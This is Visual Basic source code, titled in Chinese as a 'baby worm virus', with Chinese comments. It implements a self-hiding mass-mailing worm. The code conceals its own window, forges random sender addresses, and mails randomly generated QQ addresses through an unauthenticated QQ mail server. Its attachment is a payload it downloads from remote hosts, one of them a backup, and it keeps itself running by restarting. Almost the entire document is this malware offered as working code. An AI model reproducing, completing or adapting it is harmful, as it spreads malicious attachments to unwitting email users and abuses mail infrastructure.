婴孩蠕虫病毒源码
苏格拉底
Private Enum SMTP_State '这个代码哪里都找得到
MAIL_CONNECT
MAIL_HELO
MAIL_FROM
MAIL_RCPTTO
MAIL_DATA
MAIL_DOT
MAIL_QUIT
End Enum
Private m_State As SMTP_State
Dim DateNow As String '这也是照搬过来的代码
Dim First As String, Second As String, Third As String
Dim Fourth As String, Fifth As String, Sixth As String
Dim Seventh As String, Eighth As String, Ninth As String
Dim BQ1 As String '这个是标签
Dim zipFile As String 'BASE64编码后保存的
Dim NeiRong As String '邮件内容
Dim FuJianName As String '附件名
Dim C(9) As Long 'C是用来计数Winsock关闭了多长时间的。
Dim USRestart As Long '多长重启一次程序
Private Sub Command1_Click()
On Error Resume Next '为防止程序崩掉
Dim sMailServer As String
Dim tStr As String '主要内容
Dim txtSubject As String '邮件的主题
Dim Sender As String '发信人
Dim SendTo As String '收信人
Randomize
'随机产生一个邮件地址 Sender
Sender = MakeString & "@" & Chr(97 + Rnd * 25) & Chr(97 + Rnd * 25) &
Chr(97 + Rnd * 25) & Chr(97 + Rnd * 25) & ".com"
SendTo = MakeQQ & "@qq.com" '随机生成QQ号@qq.com 邮箱
NeiRong = Contain(Int(Rnd() * UBound(Contain))) '内容
txtSubject = Subject(Int(Rnd() * UBound(Subject))) '标题
FuJianName = txtSubject & ".zip" '附件文件名
sMailServer = "mx0.qq.com" '无验证SMTP地址(用工具找出来的)
BQ1 = "line" & MakeString '这个是标签
If zipFile = "" Then '下载并编码
zipFile = DownBase
End If
'以下是从Foxmail里弄出来的字符串
tStr = ""
tStr = vbCrLf & "This is a multi-part message in MIME format." &
vbCrLf & vbCrLf
tStr = tStr & "--" & BQ1 & vbCrLf
tStr = tStr & "Content-Type: text/plain;" & vbCrLf
tStr = tStr & " charset=" & Chr(34) & "gb2312" & Chr(34) & vbCrLf
tStr = tStr & "Content-Transfer-Encoding: 7bit" & vbCrLf & vbCrLf
tStr = tStr & NeiRong & vbCrLf ' text10 是内容
tStr = tStr & "--" & BQ1 & vbCrLf
tStr = tStr & "Content-Type: application/octet-stream;" & vbCrLf
tStr = tStr & " name=" & Chr(34) & FuJianName & Chr(34) & vbCrLf
'text9.text 是文件名
tStr = tStr & "Content-Transfer-Encoding: base64" & vbCrLf
tStr = tStr & "Content-Disposition: attachment;" & vbCrLf
tStr = tStr & " filename=" & Chr(34) & FuJianName & Chr(34) & vbCrLf &
vbCrLf
tStr = tStr & zipFile & vbCrLf
tStr = tStr & "--" & BQ1 & "--" & vbCrLf
'Text2.Text = tStr
DateNow = Format(Date, "Ddd") & ", " & Format(Date, "dd Mmm YYYY") & "
" & Format(Time, "hh:mm:ss") & "" & " +0800"
First = "mail from:" + Chr(32) + Sender + vbCrLf ' Get who's sending E-
Mail address
Second = "rcpt to:" + Chr(32) + SendTo + vbCrLf ' Get who mail is
going to
Third = "Date:" + Chr(32) + DateNow + vbCrLf ' Date when being sent
Fourth = "From:" + Chr(32) + Sender + vbCrLf ' Who's Sending
Fifth = "To:" + Chr(32) + SendTo + vbCrLf ' Who it going to
Sixth = "Subject:" + Chr(32) + txtSubject + vbCrLf
Seventh = tStr + vbCrLf ' E-mail message body
Ninth = "X-Mailer: Foxmail 5.0 [cn]" + vbCrLf ' What program sent the
e-mail, customize this
Eighth = Fourth + Third + Ninth + Fifth + Sixth ' Combine for proper
SMTP sending
' From Date X-MailerTo: Subject
Eighth = Eighth & "Mime-Version: 1.0" & vbCrLf
Eighth = Eighth & "Content-Type: multipart/mixed;" & vbCrLf
Eighth = Eighth & " boundary=" & Chr(34) & BQ1 & Chr(34) & vbCrLf
Winsock1.Close
Winsock1.Connect sMailServer, 25 '开始连接
m_State = MAIL_CONNECT
End Sub
Private Sub Form_Load()
Me.Hide '把自己隐藏起来
App.TaskVisible = False '从任务栏上去掉,没有这句可以在XP下看到窗体,
Me.Visible = False '再次隐藏(是不是多此一举啊?习惯吧)
FillAll '填入内容和标题 从project1.res中获取
End Sub
Private Sub Timer1_Timer()
'该Timer用于连续发信
Timer1.Enabled = False
Command1_Click
End Sub
Private Sub Timer2_Timer()
Dim Lop As Long, ST As Long
'40秒的超时
'ST是Winsock的状态,有***种
ST = Winsock1.State
C(ST) = C(ST) + 1
If C(ST) > 40 Then '当某种State是否超过40秒
C(ST) = 0 '是,数组清0,重新开始
Timer1.Enabled = True '开始发信
End If
For Lop = 0 To 9 '其它状态清0
If Lop <> ST Then C(Lop) = 0
Next
'作用,当程序运行一段时间后,会占用比较大内存
'强迫自己重新运行一次
USRestart = USRestart + 1
If USRestart > 1000 Then
Winsock1.Close
Shell US, vbNormalFocus
End
End If
End Sub
'这段代码是发信用的,网上有,基本上原封不动地抄下来的
Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long)
Dim strServerResponse As String
Dim strResponseCode As String
Dim strDataToSend As String
Winsock1.GetData strServerResponse
Debug.Print strServerResponse
strResponseCode = Left(strServerResponse, 3)
If strResponseCode = "250" Or _
strResponseCode = "220" Or _
strResponseCode = "354" Then
Select Case m_State
Case MAIL_CONNECT
m_State = MAIL_HELO
Winsock1.SendData "HELO " & Winsock1.LocalHostName + vbCrLf
Case MAIL_HELO
m_State = MAIL_FROM
Winsock1.SendData First
'
Case MAIL_FROM
m_State = MAIL_RCPTTO
Winsock1.SendData Second '
Case MAIL_RCPTTO
m_State = MAIL_DATA
Winsock1.SendData "DATA" & vbCrLf
Case MAIL_DATA
m_State = MAIL_DOT
Winsock1.SendData (Eighth + vbCrLf)
Winsock1.SendData (Seventh + vbCrLf)
Winsock1.SendData ("." + vbCrLf)
Case MAIL_DOT
m_State = MAIL_QUIT
Winsock1.SendData "QUIT" & vbCrLf
End Select
Else
Winsock1.Close
Timer1.Enabled = True ''开启发信Timer1
End If
End Sub
Function MakeString() As String
'生成一个字符串
Dim L1 As Long
Dim S1 As String
L1 = Rnd * 6 + 2
Do While Len(S1) <= L1
S1 = S1 & Chr(97 + Rnd * 25)
Loop
MakeString = S1
End Function
Function MakeQQ() As String
'随机生成一个QQ号码
Dim S As String, QQN As String, QQL As Integer
Randomize Timer
Do '这是QQ号的长度 5-8位'为什么不用9位的号呢?因为9位号没有多少是QQ会员
'只有QQ会员才有邮箱,才可以正常收到信
QQL = Rnd * 9
Loop Until QQL > 4 And QQL <= 9
Do '产生一个号码
QQN = Trim(Int(Rnd * 10))
If Left(S, 1) = "0" Then S = "" '保证号码第一位不是"0"
S = S & QQN
Loop Until Len(S) >= QQL
MakeQQ = S
End Function
Private Function DownBase() As String
On Error GoTo 10
'空间上的是自己来的
'这样的话可以随时升级自己.
'下载后并编码BASE64
Dim i() As Byte, L As Long
Dim j() As Byte
Dim S As String, L1 As Long, L2 As Long
S = ""
ReDim i(56)
'两个下载地址是为了保险,如果一个下不下来,找另一个
L = URLDownloadToFile(0, "http://www.XXXXXXX.com/b.wav", Tmp &
"~DF0032.ZIP", 0, 0)
If L <> 0 Then '备用文件
L = URLDownloadToFile(0, "http://freehost23.websamba.com/XXXXXXX/
24.zip", Tmp & "~DF0032.ZIP", 0, 0)
End If
Open Tmp & "~DF0032.ZIP" For Binary As #1
L = LOF(1)
L1 = L \ 57
ReDim j(L Mod 57 - 1)
For L2 = 1 To L1
Get #1, , i
S = S & Base64(i) & vbCrLf
Next
Get #1, , j
S = S & Base64(j) & vbCrLf
Close #1
10
DownBase = S
End Function